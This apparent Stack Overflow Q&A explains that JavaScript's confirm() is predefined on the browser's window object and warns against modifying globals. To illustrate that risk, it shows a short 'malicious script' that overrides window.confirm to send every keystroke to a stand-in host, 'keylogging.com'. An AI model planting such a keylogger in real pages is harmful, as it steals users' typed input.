Question: I recently started to learn javascript, I know Java and a little bit of html and CSS and SQL. But, I'm a little confused in terms of whats going on in js. JS has a method called confirm, which pops up a window and asks the user to confirm. Do you not have to define this method before using it. In java you have to define the object in order to use it, here they use this method is called without ever defining it. Is it defined in JS already, how does that work? Please help because I am confused right now.

Answer: 
Javascript has a predefined object called [`window`](https://developer.mozilla.org/en/docs/Web/API/Window) which has a **lot** of properties defined on it already.

You can see them by opening your browser's console and typing `window` then hitting enter.

Because Javascript hasn't had a concept of a module system until ES6 *(the specification that is currently being developed)*, all the browser APIs had to be stored within the window object in order for developers to be able to use them.

You can think of the window object as the global scope in Javascript. If you create a variable without the `var` keyword it will be created as a property on the `window` object.

```
function main() {
  hello = 3;
  window.hello === 3; // true

  var bye = 2;
  window.bye === 2; // false
  typeof window.bye === 'undefined'; // true
}

```

So calling `confirm()` is implicitly the same as calling `window.confirm()` because `confirm` is actually just a property on the `window` object.

This model is widely regarded as a bad idea and can be pretty dangerous, it makes it easy for other scripts to redefine properties on the `window` object.

```
// malicious script
window.confirm = function() {
  window.addEventListener('keydown', function(e) {
    $.POST('keylogging.com', { key: e.keyCode }); 
  });
};

```

Now, if you call confirm, rather than seeing a confirmation dialog, you will instead register an event listener which will send all of your keystrokes to someone else's server.

Obviously not all third-party code will be malicious, but there's still a risk that modifications to window will cause your code to break.

Best practice is to try and avoid changing *anything* on the window object. One way to do this is using [IIFEs](http://benalman.com/news/2010/11/immediately-invoked-function-expression/) with the [module pattern](http://www.adequatelygood.com/JavaScript-Module-Pattern-In-Depth.html).
> 
> Is it defined in JS already?
> 
> 
> 

Yes, the browser does predefine the [`window.prompt`](https://developer.mozilla.org/en-US/docs/Web/API/Window/prompt) method so that you can readily use it.